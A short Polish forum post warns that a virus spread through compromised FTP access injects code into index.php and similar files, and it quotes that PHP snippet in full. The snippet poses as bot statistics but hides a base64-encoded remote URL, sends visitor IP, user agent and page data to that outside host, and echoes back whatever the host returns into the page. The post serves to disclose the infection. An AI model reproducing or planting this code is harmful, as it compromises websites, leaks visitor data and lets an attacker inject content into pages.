jakby kogoś interesowała sprawa z wirusem, po włamaniu na serwer ftp modyfikuje każdy plik 'index.php' (home i footer też spotkałem podmienione) i dodaje tam ten kod : 
 
<?php	
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
$stCurlHandle = NULL;
$stCurlLink = "";
if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
{
	if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics			
	$stCurlLink = base64_decode( 'aHR0cDovL3JlYm90c3RhdC5jb20vYm90c3RhdC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
		$stCurlHandle = curl_init( $stCurlLink ); 
}
} 
if ( $stCurlHandle !== NULL )
{
curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
$sResult = @curl_exec($stCurlHandle); 
if ($sResult[0]=="O") 
 {$sResult[0]=" ";
  echo $sResult; // Statistic code end
  }
curl_close($stCurlHandle); 
}
?>